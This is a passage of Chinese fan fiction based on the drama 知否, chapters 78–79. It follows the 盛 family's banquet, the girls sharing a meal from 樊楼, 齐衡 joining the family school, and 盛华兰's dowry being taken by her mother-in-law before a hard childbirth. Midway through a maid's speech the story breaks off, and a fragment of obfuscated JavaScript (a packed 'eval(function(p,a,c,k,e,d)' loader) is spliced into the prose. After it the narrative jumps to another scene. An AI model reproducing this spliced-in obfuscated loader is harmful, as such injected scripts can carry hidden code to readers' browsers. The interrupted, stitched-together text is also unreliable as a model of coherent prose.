曹皇后抬手擦了擦安康郡主眼角的泪水,道:“你是你皇帝伯父唯一的亲侄女,我们自是你的底气,无论如何只要你做到位了,谁都不能拿捏你。” 安康郡主满脸感动的看着曹皇后,忍不住上前抱住曹皇后,道:“多谢伯父伯母为安康操心了。”宫殿内一片祥和。 汴州城虽大,但消息流通速度因着天子脚下的原因也是最快,没过多久,丰国公府的事情就传遍了汴州城,那些个豪门世家都观望着丰国公府何时开宴席庆祝,好给丰国公府送贺礼烧热灶,可惜,左等右等,丰国公府大门紧闭,一如既往的平静,丝毫没有要大办的意思。 盛老太太原因着盛长轩封王,盛家风头太盛,而不想大操大办,可这到底是盛家的喜事也不好真的一点动静都没有,便选了个折中的法子,她打算寻了个日子,开几桌席面,给盛家亲近之人送去请帖,邀请他们来一同庆祝即可。 78.第 78 章 清晨,白滢婷一大早就带着顾廷烨、顾廷炜、顾廷煜夫妇一同来丰国公府参加宴席,本来她还想叫上顾偃开,可顾偃开自个也知道盛瑾对他不喜,为了盛瑾美好心情着想,他找了个借口没和白滢婷一同参加这次宴席,不过,白滢婷怀疑顾偃开是因着盛瑾许多年前为着顾廷烨打他的事情而心有余悸,因而当顾偃开说他不来时,白滢婷一副看破不说破的神情看着他,好在顾偃开没有多想,还让白滢婷备了厚礼给盛瑾。 忠勤伯爵府那边,袁伯爷满面荣光的带着袁家全家人来丰国公府祝贺,那脸上洋溢的笑容,灿烂极了,不知情的还以为他家有什么好事呢,可能在他心里也差不多吧,毕竟他此时此刻还觉得给袁文绍求娶盛华兰是他这辈子做过最正确的事情,这不,盛家出了个王爷和郡主,更和皇家结亲了。 大章氏站在袁伯爷身旁脸上带着淡淡的笑容,心里却恨不得掉头回去,她原本已经开始给盛华兰立规矩,如今都快要对盛华兰的嫁妆下手了,结果盛家出了个王爷和郡主,还与皇家结了亲事,害得她不得不修改原本的计划。 大章氏心里恨得牙痒痒,不由得暗道:“这盛华兰祖上是烧的什么高香啊!原本攀上盛国公就不好对付,如今还多了个王爷堂兄和郡主堂妹,怕是以后都要骑到我这个当婆婆的头上,不行,我更要好好拿捏住她,要不然,怎么拿得出她那大笔的嫁妆呢。” 大章氏本就眼红盛华兰那丰厚的嫁妆已久,如今眼瞅着到手的鸭子快飞了,如何能甘心啊!可碍于盛家现在的权势与地位,她只能调整计划。 袁文纯此时的内心也不怎么开心,他瞧着丰国公府的景象,又想起自己岳家,心里极度的不平衡,尤其是他看到袁文绍夫妇脸上的笑容时,当即便想拉下脸,可他也知道这里是丰国公府,不是忠勤伯爵府,由不得他胡来,只得装出一脸开心的样子,而他身旁的小章氏也察觉出袁文纯的不对劲,努力缩小自己的存在感,毕竟自从袁文纯瞧见盛华兰的嫁妆后,对她和章家的态度冷淡了许多,更何况她在忠勤伯爵府唯一的底气来自大章氏,可大章氏向来疼爱袁文纯,她自是不敢和袁文纯起冲突。 盛华兰瞧见王若弗脸上带着些许淡淡的不如意的表情,待到没人时,便将王若弗拉到一旁询问过后,才得知原是因着王若与和盛纮的一个妾侍怀孕的原由。 盛纮有一个妾侍香小娘,原是王若弗身边的贴身丫鬟,后来王若弗为了分林噙霜的宠,将香小娘抬为了盛纮的妾侍,可惜收效甚微,再加上王若弗心生膈应,因而王若弗对着香小娘也不如以往的情谊,说实在的,王若弗都快忘了府中还有香小娘这个人,可谁曾想一个月得不到盛纮几次光顾的香小娘居然在前不久被查出怀孕一个多月,恰巧盛纮那段时间曾在香小娘处留宿过一次。 王若弗心里虽不喜,但得了盛老太太的开导,也知道盛长柏永远是盛纮最重视的嫡长子,无论盛纮有多少个庶子都威胁不到盛长柏的地位,相反,若是庶子有出息,将来在朝堂上还能给盛长柏当帮手呢,因而她只是有些膈应的将香小娘从她的院子迁到另一个院子独住。 王若弗今天最不开心的原因还是王若与,毕竟她老早就给王若与送信,可如今却还不见王若与的身影,她也知道王若与是故意不来的,当然,王若与没来丰国公府祝贺的原因,仅仅只是不想看到王若弗得意的样子。 王若弗本就因着先前盛华兰添妆的事情对王若与心生不满,如今王若与又搞这一出,使得她心里有些许难过,毕竟她在汴州城里就这一个娘家人。 盛华兰瞧着王若弗低沉的脸色也不知道如何安抚王若弗,好在没过多久,王若弗就自顾自的低估了声“爱来不来,谁稀罕啊!”她说完,便抓着盛华兰的手一同回到宴席上,招待起了盛家的亲戚们,直到黄昏才将客人们都送走。 光阴似箭,距离盛长轩封王已过去了一年时间,盛家如往常一般平静,不过,自从盛长轩和安康郡主下旨赐婚后,盛明兰有时会被单独叫进宫中与安康郡主闲聊说话,每每从宫中回来都会捎带许多恩赏,盛老太太也知道这是安康郡主对盛明兰释放的好意,便嘱咐盛明兰好好和安康郡主相处,旁的没在多说什么了。 盛明兰向来是乖巧听话、豁达开朗的性子,再加之安康郡主为人随和,几番相处下来颇有一副姑嫂情深和睦的倾向,而曹皇后对此也十分满意,连带着宫中掌管公主嫔妃等俸禄的管事给盛明兰送郡主份额东西时都是挑得上好的物件。 (私设:长公主每年俸禄七千五百两、绫罗绸缎二百三十匹、珠钗首饰八十四件;公主每年俸禄五千两、绫罗绸缎一百五十四匹、珠钗首饰五十六件;郡主每年俸禄三千两、绫罗绸缎九十二匹、珠钗首饰三十四件;县主每年俸禄两千两、绫罗绸缎六十二匹、珠钗首饰二十三件;郡君每年俸禄一千八百两、绫罗绸缎五十六匹、珠钗首饰二十一件;县君每年俸禄一千六百两、绫罗绸缎五十匹、珠钗首饰十八件;乡君每年俸禄一千四百两、绫罗绸缎四十三匹、珠钗首饰十六件;) 盛如兰如今也长进许多,她与盛明兰的关系不说好到穿一条裤子的程度,当也比寻常姐妹亲密许多,连带着盛瑾给盛明兰带东西时,还会捎带给盛如兰一份,再者,因为盛明兰每天都会去找盛老太太聊会儿天,她又一直与盛明兰在一起,索性便跟着盛明兰一起每天都去给盛老太太请安,因而盛老太太对于这个孙女也有了一些情感。 王若弗对此十分欢喜,可是盛纮却不怎么开心,只因为他看到盛墨兰如今孤身一人,犹如当初小时候的他,心中十分心疼盛墨兰的处境,他也因此对盛墨兰更加疼爱,不过,此番场景已然无法引起盛如兰对盛墨兰的嫉妒之情,毕竟她现下随着盛明兰每日过得十分充实,没得时间去渴望盛纮的关注,况且她从盛瑾身上也能体会到类似父亲般的关爱。 盛纮虽想让盛墨兰与盛明兰、盛如兰一同相处,但自从上次那件事情后,盛老太太就不敢让盛墨兰接触她的宝贝孙女盛明兰,他既知道了盛老太太的意思,就不能假装不知道去忤逆盛老太太的决定,至于他兄长盛瑾对盛墨兰虽谈不上厌恶,但也绝对不喜欢,毕竟谁家孩子不是宝贝啊! 盛纮知道盛瑾能不因为那件事情生盛墨兰的气,从而迁怒到盛长枫身上,已经是极其大气的表现,他可不敢再对盛瑾有过多的要求,况且盛瑾也没让府里克扣盛墨兰的吃穿用度,盛墨兰的生活水准仍照着先前的状态维持着已是极好的事情,至于让盛墨兰和盛如兰单独相处,两人不闹起来才怪呢。 盛墨兰心里虽有些委屈,但也知道全是自己造成如今这般局面,怨不得旁人,毕竟当初那件事情着实将盛明兰吓得不轻,盛老太太和盛瑾心里留了疙瘩也是应该的,换位思考一下,若是自己站在他们的位置,也不可能心无芥蒂的任由一个伤害过自己亲近之人的人,再次靠近自己亲近之人,不怕一万就怕万一,有一就有二,谁能保证她不会再次伤害自己亲近之人呢,连她自己都没法接受,又谈何让盛瑾和盛老太太接受,并允许她靠近盛明兰、与盛明兰交好呢,这简直是太过强人所难了。 盛墨兰不由得想起香小娘前段时间生的盛长栋,他出生那一刻可把盛纮高兴得喜上眉梢般,可要不了多久,盛纮就将香小娘母子俩抛之脑后,最终还是盛老太太、盛瑾在盛长栋满月时送了些礼物,盛纮才想起盛长栋满月的事情,让王若弗打了副金锁给盛长栋当满月礼物,这样一对比,她便觉着盛纮对她已是十分疼爱,未来她的日子依着这份疼爱也不会太差。 盛墨兰之所以有这样的认知,不得不说,陶妈妈当居首功啊!没了林噙霜的影响,再加上陶妈妈这一年多来得教导,至少盛墨兰如今的想法是在正道上的,没有歪掉。 盛墨兰瞧着盛明兰和盛如兰正高高兴兴收拾东西下课的同时,讨论着樊楼的吃食,眼中闪过一丝羡慕,随即微微低着头,收拾着自己的东西,而盛明兰和盛如兰全然没有察觉盛墨兰的异样,只见盛如兰一脸馋猫样,道:“我听说樊楼最近出了个软酪的点心,软糯中带着一丝甜味,我光是想想就流口水了。” 盛明兰双目放光,砸吧嘴,好似已经尝过般,道:“听着就很好吃,可我听说樊楼的水晶肘子也不错,还有羊肉泡馍、蒸软羊、羊肉混沌、三鲜面、丰糖糕、煎豆腐都很不错。” 盛如兰听着盛明兰报的菜名,勾得肚里的馋虫都快出来了,她两眼放光,语气十分豪迈,道:“那就都买,我们又不是没有银钱,我这个月的月钱还剩五两,你那里肯定比我多,我们合一下,这一顿吃好些。” 盛明兰眼中闪过一丝挣扎,吞吞吐吐道:“我们两个可吃不完这些,若是被祖母知道了少不得要说一顿,况且三婶婶那边要是知道你乱花钱买一堆吃的,怕是要说你一顿了。” 盛如兰瞬间蔫了吧唧的,她的目光游离,无意识的转到了盛墨兰身上,眼珠子转了一下,眼中闪过一丝精光,她对着盛墨兰大喊,道:“四姐姐,你要不要和我、明兰妹妹一同用午膳呢?”没错,她就是想要拖盛墨兰下水,毕竟盛纮那么疼爱盛墨兰,若是盛墨兰与她们一同吃这么多,王若弗也会念着盛纮的面子少说或是不说她。 盛墨兰惊讶得呆愣在原地,没一会儿便反应过来盛如兰此番用意,她沉默了一会儿,正当盛如兰要放弃邀请她时,开口道:“可以。” 盛如兰一副算你识相的神情看着盛墨兰,随即又满脸兴奋的看着盛明兰,语气中满是催促的意味,道:“多了个人,现下我们一定能吃完,快点收拾,你先让丹橘拿银钱找小厮给我们去樊楼买吃的,我让喜鹊回屋去取银钱给你。” 盛明兰闻言,笑骂了盛如兰一声后,便让小桃回去找丹橘,她们二人一同在门口等小厮拿樊楼的吃食,要不然,她怕丹橘一个人拿不了那么多东西,而盛墨兰则是跟着盛如兰和盛明兰回到了盛明兰的院子,相较于盛家三个未出嫁的姑娘,盛华兰现下在忠勤伯爵府这边的日子,可没那么轻松自在,只见她挺着个大肚子在管理府中账目。 盛华兰身旁的翠蝉满脸心疼,道:“姑娘,休息一下吧,你这还揣着一个小的呢,你不心疼自己,也心疼心疼孩子啊!” 盛华兰脸上浮现出一抹苦笑,微微摇了摇头,道:“不用了,这里还有一些账目,马上就要算完了,待算完后,我再休息吧。” 翠蝉看着盛华兰脸上的苦笑,心里泛起一阵难过,自从盛华兰回门后不久,大章氏就开始陆陆续续的给盛华兰找些小麻烦。 大章氏原先是安排盛华兰每日来给她请安问好,这本不是什么难事,可坏就坏在她时不时让盛华兰站规矩,那么多丫鬟婆子不要,偏要盛华兰亲自伺候她,不过,待盛长轩封王的消息传来后,这些个动作又消失了一段时日,使得盛华兰以为她只是给自己立一下规矩,摆摆婆母威风,毕竟婆婆给媳妇立规矩这些个事情在哪家都有过。 盛华兰万万没想到的是大章氏消停没多久,又将府中中馈交给她来打理,名义上是让她为大章氏分担府中事务,实则府中田产铺子收入的银钱都握在大章氏手中,她无法和大章氏理论,只能硬着头皮接下这管家的事情,可待她接手了府中账目后,才发现忠勤伯爵府开支十分含糊,她既要拿着自己的嫁妆银子填平府中含糊不清的账目,又要拿着嫁妆供一家子吃穿用度,短短不到一年时间,她嫁妆中的布匹、首饰除去格外贵重的外,其余的都被大章氏弄走了一大半,这还没算上一些个玉器摆件之类的物件。 盛华兰到现在若还不知道大章氏是借着管家的名头算计她的嫁妆,那便白费了盛老太太对她的十几年教导,可知道又能怎么样呢,婆母让你管家是看重你,你还有什么不满的,说破天去都是婆婆比媳妇有理,再者,她知道袁文绍最是孝顺,不能和他抱怨婆婆,而回娘家抱怨,盛老太太和盛瑾倒是会出面,可即使摆平了这件事情,盛家的名声也会因此受损,她的弟弟妹妹还没有成亲呢,她就是盛家的脸面,若她做得不好,恐会影响弟弟妹妹的婚事。 盛华兰自幼受尽父母长辈的宠爱,因此长大后将守护盛家的门风当做自己的责任,况且她又是再盛老太太膝下长大的,继承了盛老太太隐忍至极的性子,能用钱解决的事,她也不愿意闹大。 大章氏就是吃定盛华兰这一点,才敢这么做,况且她脑子还算在线,算计媳妇嫁妆可不是什么光彩之事,若是传出去,那她的子女孙辈名声便会受损,因而她拿的都是盛华兰嫁妆中那些个不起眼、不易明辨的物件,万不敢动盛华兰的田庄铺子以及一些极其珍贵的首饰、布匹、玉器摆件等东西,这很容易引起盛瑾他们关注,就是要拿也要循序渐进的慢慢谋算。 翠蝉瞧着盛华兰憔悴的脸庞,语气中带着些许怒气,道:“这算是什么啊!这里好多账目都含糊不清,姑娘你都往里填了三万多两,谁家账目这样啊!袁家又不是像丰国公府那般和许多铺子签订契约,月钱也不似丰国公府那般制定,女使小厮们也没有丰国公府多,哪来的这么多花销,她们分明就是拿着姑娘你的嫁妆供大房挥霍吧。” 盛华兰心里一阵难过,她嫁进来前就知道婆婆偏心大儿子,可是属实没想到她居然有脸挪用二媳妇的嫁妆来贴补大房,这不是最重要的,最重要的是她的官人袁文绍居然站在他母亲那边,不与她一条心,即使公公再明理,也管不到内宅的事情。 盛华兰摸了摸自己的肚子,心里叹了口气,暗道:“但愿这个孩子生下来后,婆婆看在孩子的面子上,收敛点吧。” 翠蝉越说越生气,说到最后忍无可忍,道:“姑娘,我们去找老夫人和大娘子吧,或是找国公爷也行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夜晚的丰国公府,王若弗的院子内,王若弗用手点了点盛如兰,语气中带着些许训斥,道:“你可真是能耐啊!当姐姐的不知道带着妹妹干点子好事,却怂恿妹妹陪你一同花钱在樊楼卖了一堆吃食,樊楼里的吃食一顿少说都要五六两银子,你们不仅点的都是些新鲜、热门的吃食,数量还多,这顿十二三两银子都不止,要不是丰国公府里的女使小厮口风严实,你们怕是得落个贪吃的名声。” 盛如兰俏皮的吐了吐舌头,语气中满是撒娇的意味,道:“母亲,这回可不只有我和明兰妹妹吃,那墨兰也随我们一起吃了一顿,吃的还不比我少呢。” 王若弗拍了拍盛如兰的手,瞪了盛如兰一眼,道:“你是我生的,你肚子里有几斤几两,我还不知道嘛,不过是怕挨骂,拉着个人一块垫背,自从你和明姐儿在一块后,可随了你的意,想吃什么就有人同你一起合钱买,每月月钱不是买些稀奇古怪的玩意,就是买吃的,月月都花光,好在你明兰妹妹有你二伯父的贴补和郡主俸禄,要不然,哪经得起你这么造啊!” 盛如兰脸上带着些许不服气的表情,底气却有些许不足,道:“我哪有母亲说的那般啊!况且我是给了明兰妹妹银子的。” 王若弗眼中闪过一丝嘲讽,语气中带着些许不屑的意味,道:“给银子,呵,如儿,你这脸皮是越来越厚了,今个儿樊楼点心吃食,明个儿盈果脯子的糕点,后天又不知道是哪个铺子的吃食、玩意,你真当你每月那七两银子和我给你贴补的十两银子够花啊!要不是你明兰妹妹体贴你这个姐姐,暗地里多出些银钱,你能这么造嘛。” 王若弗瞧着盛如兰被她说的有些心虚,叹了口气,道:“明天我给你拿二十两银子,你也请明姐儿一次,姐妹之间有来有往,方才能长久相处。” 王若弗说完没多久,盛纮便径直走进院中,他神情柔和的看着盛如兰,道:“如儿,听说你今个邀请你四姐姐和你们一同用午膳。” 盛如兰瞧着盛纮这般温柔的对待她,一时间有些不习惯,好在她还记得僵硬的点了点头来回复盛纮的话,只见盛纮哈哈大笑的夸奖她,道:“如儿做的不错,姐妹之间就应该多相处相处。” 王若弗在心里翻了个白眼,但面上仍挂着笑容,语气微微上扬,道:“官人,今个怎么这么晚回来啊!” 盛纮脸上浮现出一抹喜色,语气中止不住的高兴,道:“我找二哥哥商量点事情,庄学究今个与我说,他有个学生名为齐衡,如今听闻他在我们府中的家学当夫子,想来我们府中继续跟着庄学究学习,这个齐衡可是现任盐使司转运使齐大人的独子。” 齐衡近来听闻丰国公府家学的夫子是庄学究,又大概了解了一下盛瑾的性子,便写了封信给庄学究,询问其是否能来丰国公府读书,因而便有了今天一大早庄学究拦住盛纮的场面。 盛纮本就因着庄学究亲自开口不好拒绝,况且他瞧着庄学究对齐衡满是赞许的样子,分明是打心里期望他同意的这件事情,当然,齐衡的家世也令他十分心动,若是能以此与齐国公府交好,那也是不错的事情,不过,他头上还有个盛瑾,属实是拿不定主意,只能告知庄学究,此事还需询问盛瑾的意思,而庄学究也只好放过盛纮了。 王若弗脑门子转得飞快,语气有些急促,道:“这位齐大人可是齐国公府现任齐国公的嫡亲弟弟嘛,他的大娘子是襄阳侯独女出身,陛下亲封的平宁郡主。” 王若弗瞧见盛纮摸了把胡须,矜持的点了点,瞬间倒吸一口凉气,道:“无论是齐国公,还是齐大人娶的大娘子都是出身显赫,他家可谓是满门显贵啊!若他能来我们家读书也是件好事,官人,二哥哥怎么说呢?” 盛纮嘴角微微弯起,语气中带着些许得意的意味,道:“二哥哥说读书可以,不过,男女七岁不同席,再者,这齐小公子也不是我们盛家正儿八经的亲戚,让我在学堂中间隔一道屏风,以免影响我们家姑娘们的名声。”他得到盛瑾的回复后就直接去找了庄学究,告知庄学究这个消息,因而回来的有些晚了。 王若弗喜笑颜开的点了点头,附和盛纮道:“还是二哥哥考虑的周到啊!是得在中间放个屏风,没得影响我们家姑娘们的名声。”虽然嘴上这么说,但心里怎么想就不知道了。 盛纮与王若弗又聊了一会儿后便洗漱入睡,而盛如兰早已溜了出去,待第二日,庄学究派人告知齐衡这个消息没多久,齐衡开始了来丰国公府读书的时光。 齐衡的到来并没有给盛家掀起多大的风浪,由于这一年盛如兰与盛明兰如影随形,见惯了盛瑾的长相,对于齐衡这样的美少年,也只是眼中闪过一丝惊艳,心里并没有多大的感觉,至于盛墨兰,她在陶妈妈的管教下,如今也是个知道规矩的大家闺秀,哪能做出什么出格的举动。 盛明兰本人就更不可能觉得齐衡有什么不同,毕竟她一直都认为自己的父亲是天底下最好看的人,不接受任何反驳,再加上顾廷烨和顾廷炜这两个表哥长的也不差,况且盛家基因也挺好的,她的那些个堂哥长的都挺不错的,故而齐衡对于她来说,只是个长得好看的别人家哥哥,若是要真算起来在她心中齐衡还没有顾廷烨和顾廷炜这两个表哥好呢,他们可是每每遇到好东西都会买下来送给她,因此,齐衡的这枚石子并没有在盛家的池塘里掀起波澜。 79.第 79 章 漆黑的夜里,忠勤伯爵府灯火通明,盛华兰院中上到主子下到丫鬟小厮一片焦急,屋内传来一声声惨叫,没过多久,那声音越来越弱,好似精疲力尽般快要断气了。 屋内的翠蝉正死死地抓着盛华兰的手,眼中满是担忧和焦急,语气中带着些许颤抖,道:“姑娘,撑住啊!姑娘你再用点力气,还差一点,就差一点,孩子就能出来了。” 翠蝉瞧着盛华兰满头汗水,有气无力的样子,心中不由得泛起一丝惊恐,而身旁的彩簪早已被这样的场景吓得魂飞魄散、六神无主了。 翠蝉眼瞧着盛华兰神情迷离,好似撑不下去一般,咬了咬嘴唇,她在盛华兰耳边低声道:“姑娘,你若是撑不下去,留个孩子在忠勤伯爵府,这个孩子要如何过活啊!袁伯夫人本就不喜姑娘,哪会喜欢姑娘留下的孩子呢,她巴不得借着孩子的由头,谋夺姑娘你的嫁妆,主君又站在袁伯夫人那边,更不可能为了个没娘的孩子忤逆袁伯夫人这个亲生母亲,若是姑娘今日出了意外,没得几年,袁伯夫人就给主君续弦,有了后娘就有了后爹,姑娘难不成还指望主君惦念着你的好,好好待你留下来的孩子嘛,亲爹都指望不上,姑娘还能指望主君续娶的大娘子嘛,天底下可没几个后娘能做到端淑县主那般。” 翠蝉见盛华兰有些反应,加大火力,道:“姑娘你想想大娘子,她最是疼爱你,若是你今日难产出了事,你还能指望她看着你留下的孩子不伤心嘛,这可不是你一个人的孩子,这孩子身上还留着袁家的血脉,大娘子会不会因着袁家害你难产而怨恨上这个孩子呢,姑娘你一定要撑下去,为着孩子、大娘子、我们盛家所有人都要撑下去,要不然,姑娘留下的孩子就真的孤苦无依了。” 盛华兰那只被翠蝉抓住着的手,突然有力的回握住翠蝉的手,翠蝉心中一喜,她瞧着盛华兰的眼神变得清明,立马对着身旁的丫鬟和彩簪,大喊道:“快给大娘子端碗参汤来,快啊!彩簪你还愣着干嘛呢。” 彩簪被翠蝉的声音给吓得回过神来,随即便急急忙忙的从身旁的丫鬟手中抢来参汤送到翠蝉手中,翠蝉接过参汤直接给盛华兰喂了几口,待盛华兰有了力气,又开始努力配合稳婆的节奏生孩子。 屋外的袁伯爷狠狠地瞪了大章氏一眼,语气冰冷,道:“你最好祈祷媳妇平安生产,要不然,你自个拉着你的娘家人一同去和盛家人解释,为什么媳妇嫁入我们家一年多便难产逝世的事情吧。” 大章氏额头微微冒汗,眼神游离,她就是想算计盛华兰的嫁妆,让盛华兰操持府中事务,谁曾想盛华兰这么没用,居然将自个累到难产,她心里现下慌的不行,正如袁伯爷所言,若是盛华兰难产身亡,盛家人少不得要找她的麻烦,她们章家可比不得盛家,许是盛华兰逃过一劫,又或是大章氏因着恐惧而诚恳的祈祷起了效果,屋内突然传出一阵婴儿的啼哭声。 袁伯爷眼中闪过一丝惊喜,瞧见屋里头跑出来个丫鬟,下意识的上手抓住那个丫鬟,语气微微上扬,道:“二大娘子生的是男是女。” 那个丫鬟先是一惊,随即反应过来对方是袁伯爷,她脸上浮现出一丝微笑,语气中带着些许喘息,道:“伯爷,是,是姑娘,二大娘子生了个姑娘。” 袁伯爷得到自己想要答案后便松开了那个丫鬟,摸了把自己的胡须,眼中闪过一丝笑意,语气中带着些许欢喜的意味,道:“姑娘好,姑娘也是好的。”他心里暗暗松了口气,只要盛华兰平安生产,是男是女都无所谓。 大章氏心里不禁吐槽道:“姑娘有什么好的,我家侄女一举夺得哥儿时也没见你这么高兴啊!”可是她现下只敢在心里吐槽,面上是一点都不敢显露出不满的神情。 大章氏本来想让盛华兰养养身子,以防盛家人发现什么端倪,可谁曾想待到第二日,王若弗那边便得知盛华兰生了个姑娘,因而她满心欢喜的来到了忠勤伯爵府,打了她一个措手不及。 王若弗满心欢喜的走进盛华兰的屋子,只见盛华兰面色惨白的躺在床上,旁边是她刚生下的女儿,袁伯爷给她的女儿取名为庄姐儿。 盛华兰瞧着王若弗的身影,眼中闪过一丝惊喜,随即起身,惨白的脸上愣是扯出一抹微笑,道:“母亲你来了,快来看看你的外孙女。” 王若弗从进来看见盛华兰状态不佳时,脸色已然是一百八十度大转弯,现下瞧着盛华兰床前没有一个袁家人,心里扑通了一下,她见盛华兰起身,连忙上前,扶了一下盛华兰,待盛华兰坐正后,方才坐在盛华兰身边。 王若弗忍了一下,可也没忍多久就抓着盛华兰的手,语气中带着些许怒火,道:“华儿,女婿呢,你婆婆呢,她们怎么不在你身边啊!”不知道大章氏是不是心虚,又或是什么其他原因,从王若弗进忠勤伯爵府开始,她就从未出现过。 盛华兰本不愿多说什么,可瞧着王若弗的样子,若是自己不给她一个答案,她怕是要大闹忠勤伯爵府,因而她为着安抚王若弗,只能维持着脸上淡淡的微笑,为大章氏盖一层遮羞布,道:“官人有公务在身,昨个去五城兵马指挥司一直没回来过,婆婆她要忙府里的事情,暂时没时间。”袁文绍有工作不在是真的,可大章氏有没有空,那可就不一定了。 王若弗就是再神经粗大条,也能看出盛华兰此时的状态不太好,她瞪大双目,眼中好似闪烁着怒火般,道:“你别唬你娘我,是不是你婆婆刻薄你了,你说啊!我找她去,真当我们盛家吃素的啊!” 盛华兰瞧王若弗要去找大章氏争论,下意识的用手拉住王若弗,语气中带着些许恳求的意味,道:“母亲,母亲,你别去,没有的事,就是婆婆太忙了,啊!疼,母亲,疼。”她在与王若弗拉扯中,不小心扯到了伤口,疼得眼泪都快要掉出来了。 王若弗见状,急忙停下动作,将盛华兰扶到了床头,调整了一下枕头的位置,让盛华兰靠上,她眼中满是关心,道:“华儿,你扯到伤口了嘛,哪里疼啊!告诉母亲,母亲去找郎中。” 盛华兰抓着王若弗的手从始至终都没有松过,好似害怕王若弗下一秒冲去找大章氏般,她脸上勉强扯出一抹微笑,语气中满是安抚的意味,道:“母亲,我没事,你别去找婆婆,这样弄得大家都不好,再说了,这件事情也怪不到婆婆身上,是我自个逞能惹出来的,对了,母亲,你快瞧瞧你的亲外孙女,长的像不像我小时候的样子,昨个公爹满脸高兴的给她取名为庄姐儿。” 王若弗见盛华兰不肯让她去问,心里就算是再着急,也怕再和盛华兰拉扯起来,扯到盛华兰的伤口,她顺着盛华兰没再说什么要找大章氏的话,不过,她暗地里朝刘妈妈使了使眼色,暗示她去找彩簪和翠蝉,而刘妈妈也收到王若弗的暗示,蹭着盛华兰不注意,偷偷退了出去。 王若弗这边顺着盛华兰的意思,一边看着庄姐儿,一边给盛华兰聊着家里的事情,当盛华兰听到盛如兰如今和盛明兰好得像是穿了一条裤子般,以及王若弗与盛老太太之间关系越来越好时,心里松了口气,大抵上是有一件她能放心的事情了。 王若弗在忠勤伯爵府待了许久后,方才带着刘妈妈一行人回到了丰国公府,待她回到院子,让丫鬟们全都退出去,只留下了刘妈妈一人,她脸上的笑容再也维持不住,语气中压抑着怒火,道:“我让你去打听,你都打听到什么了。” 刘妈妈想到翠蝉和彩蝶的话,脸上浮现出犹豫不决的表情,过了一会儿,语气中带着一丝安抚的意味,道:“大娘子,你听了可别急啊!” 王若弗从刘妈妈这副神态中不难看出盛华兰在忠勤伯爵府的日子并不好过,她深吸一口气,平复了一下自己焦躁的心情,道:“你但说无妨。” 刘妈妈面色有些难看的低声道:“大娘子,起初我去找彩簪和翠蝉时,她们谁也不肯开口,好在我一阵威逼利诱下,彩簪才先开口,那忠勤伯爵府的袁伯夫人可真不是个好人,大姑娘回门没多久,她就安排大姑娘日日去请安问好,若只是这样也没什么,毕竟大部分的婆婆都喜欢给媳妇摆摆架子、耍耍婆母威风,可她却在大姑娘请安时,时不时的让大姑娘伺候她用饭洗漱之类的,待到王爷、郡主册封的圣旨下来后,她才收敛许多。” 刘妈妈看着王若弗越来越黑的脸色,继续道:“可没过多久,她又固态萌生,让我们家大姑娘管家,管家本是件好事,可翠蝉说袁伯夫人把持着府中田产铺子收入的银钱,大姑娘没得府中收入的银钱,只能拿着自己的嫁妆银子去管家,这分明是借着让大姑娘管家的名义来算计大姑娘的嫁妆,可这还不是最过分的,那忠勤伯爵府的账目大多含糊不清,我们家大姑娘拿了三万多两银子才将府中的账目填平,还有好些个不起眼的布匹、首饰、玉器摆件之类的物件都被袁伯夫人给算计走了。” 刘妈妈有些义愤填膺的补充道:“翠蝉说那袁伯夫人根本就是偏心大房,偏心到算计我们家大姑娘的嫁妆去贴补大房的用度,这次大姑娘之所以会难产也是因着管家累着了。” 刘妈妈最后一句直接点燃了王若弗的怒火,她瞪大双目,语气中满是愤怒,道:“什么,华儿难产,还是管家导致的,我就说那袁伯夫人怎么都没敢出现在我面前,敢情是心虚啊!” 王若弗说到这里,不由得破口大骂,道:“这是什么个天潢贵胄人家啊!那来的脸面算计媳妇的嫁妆,亏得她还自诩大户人家出身,她怎么有脸这么做啊!这才一年多就花去了三万多两,他们袁家是皇亲国戚嘛,还是说他们袁家如今复爵不到几年便一朝龙在天,凡土脚下泥了。” 王若弗越说越气,牵连到盛纮头上,道:“主君呢,我们家主君,让他回来看看,好好看看,这就是他给华儿找的好亲事,还不如二哥哥给淑姐儿找的呢。” 盛维给盛华兰送来添妆时,李氏特意让盛维捎带了许多东西给盛瑾一家以示感谢,毕竟盛淑兰能找到这门夫婿上进、公婆和善、妯娌厚道好相遇的亲事全靠的盛瑾。 李氏在给盛老太太和盛瑾的信中不难看出她随着时间的流逝对这门亲事是越来越满意,信中告知了盛瑾和盛老太太,盛淑兰如今已有身孕,听郎中说可能是个双生子,喜得她的公公婆婆将她当成宝贝一样对待,这件事也让她心里的大石头放下些许,毕竟她自己心里清楚这门亲事是靠着盛瑾和牛家的关系得来的,盛淑兰是国公爷的堂侄女不错,可她家到底是商贾之家,盛淑兰也是商贾之女,而牛朔现下仕途正好,牛桦也是举人出身,牛家势头正好,若盛淑兰不是盛瑾的侄女,他们八成看不上盛淑兰这个媳妇,因而在盛淑兰生下一个女儿时,她还为此担忧了许久,好在牛家没有说什么,一如既往的对待盛淑兰,她才安心许多,不过,盛淑兰自从生下女儿后好些年都没有身孕,让她原本放下的心又悬了起来,她有一段时间开始时常给盛淑兰寄信、送东西,搞得盛淑兰那段时间十分低沉,最后是牛桦发现异常,写了封信给她,才让她停止了这种行为。 李氏看着牛桦的信,不得不说牛家夫妇和牛桦厚道,牛桦在信中写到他的父母和祖父祖母曾对他们说过子嗣之事急不得,再者他的大哥哥大嫂嫂膝下已育有二子,牛家不缺男嗣顶门户,请她放心,他们会一如既往的对待盛淑兰的。 李氏见牛家都这么说了,她的心也安了些,好在盛淑兰现下又有了身孕,还一次两个,这可让她喜不胜收啊!不仅是她如此,牛家人也一样高兴,就连牛桦的大嫂嫂也为盛淑兰高兴,说起牛桦的大嫂嫂,她早就给牛朔生了个嫡长子和嫡次子,这些年与牛朔感情还宛如新婚时的如胶似漆,对待牛朔唯一的弟弟牛桦自然是好的,连带着对盛淑兰这个弟妹也十分顺眼,这不一听盛淑兰怀了双生子,给盛淑兰寄了一大堆的东西,从李氏的信件和盛维的态度中可以看出他们对这门亲事是真的满意极了。 刘妈妈瞧着王若弗犹如被夺走幼崽的母老虎般发着脾气,急忙劝阻,道:“我的大娘子啊!莫要说到主君身上,若是传出去影响你和主君之间的情谊。” 王若弗全然听不进刘妈妈的话,仍旧破口大骂着袁家,时不时的还扯上了盛纮,待她骂累后,又抓着刘妈妈的手,哭诉道:“我华儿的命怎么就这么苦啊!我的华儿啊!华儿,你怎么就碰上个这样的婆婆啊!往后的日子你要如何是好啊!” 